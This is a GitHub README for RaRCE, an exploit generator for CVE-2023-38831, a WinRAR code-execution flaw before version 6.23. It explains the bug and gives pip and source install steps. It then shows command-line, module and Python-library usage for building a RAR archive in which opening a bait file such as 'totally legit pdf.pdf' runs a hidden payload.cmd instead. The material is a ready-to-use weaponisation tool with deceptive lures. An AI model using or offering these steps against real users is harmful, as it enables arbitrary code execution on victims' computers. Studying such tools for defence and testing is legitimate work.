ignis-sec / CVE-2023-38831-RaRCE

An easy to install and easy to run tool for generating exploit payloads for CVE-2023-38831, WinRAR RCE before versions 6.23

RaRCE, Exploit generator for CVE-2023-38831

This is an easy to install and easy to use, versatile exploit generator for CVE-2023-38831, a vulnerability that affects WinRAR versions before 6.23.

RARLabs WinRAR before 6.23 allows attackers to execute arbitrary code when a user attempts to view a benign file within a ZIP archive. The issue occurs because a ZIP archive may include a benign file (such as an ordinary .JPG file) and also a folder that has the same name as the benign file, and the contents of the folder (which may include executable content) are processed during an attempt to access only the benign file. This was exploited in the wild in April through August 2023.

How to install

Using pip

You can install the tool easily via pip.

pip install rarce

Or, you can use it from the source code.

git clone https://github.com/ignis-sec/CVE-2023-38831-RaRCE
cd CVE-2023-38831-RaRCE
python3 setup.py install

How to use

usage: rarce [-h] [-v] [-i] [-dt] [-pt PRESERVE_TEMP] bait switch output

Exploit generator for CVE-2023-38831

positional arguments:
  bait                  Path to the bait file to to add to the archive.
  switch                Path to the payload to switcheroo with the bait file on double click.
  output                Path to the output file.

optional arguments:
  -h, --help            show this help message and exit
  -v, --verbose         Verbose output.
  -i, --ignore-path-check
                        Ignore path validity check. If given, rarce can overwrite existing files given in output parameter, and can create missing folders for
                        output path.
  -dt, --dont-use-tempdir
                        Prevent the tool from creating a temporary directory when creating the exploit. Instead, create the intermediate folders in current
                        working directory.
  -pt PRESERVE_TEMP, --preserve-temp PRESERVE_TEMP
                        Preserve the temporary directory after creating the exploit. Has no effect if -dt or --dont-use-tempdir is not specified.

After installing via pip or setup.py, you can use this tool from the command line. Following command will create the exploit file for you. When a user double clicks the bait file, the payload script or executable will run instead.

$ rarce "totally legit pdf.pdf" "payload.cmd" "exploit.rar"

Optionally, you can use it as a runnable module.

python -m rarce "totally legit pdf.pdf" "payload.cmd" "exploit.rar"

You can also use it within your existing code.

from rarce import exploit

exploit("totally legit pdf.pdf", "payload.cmd", "exploit.rar")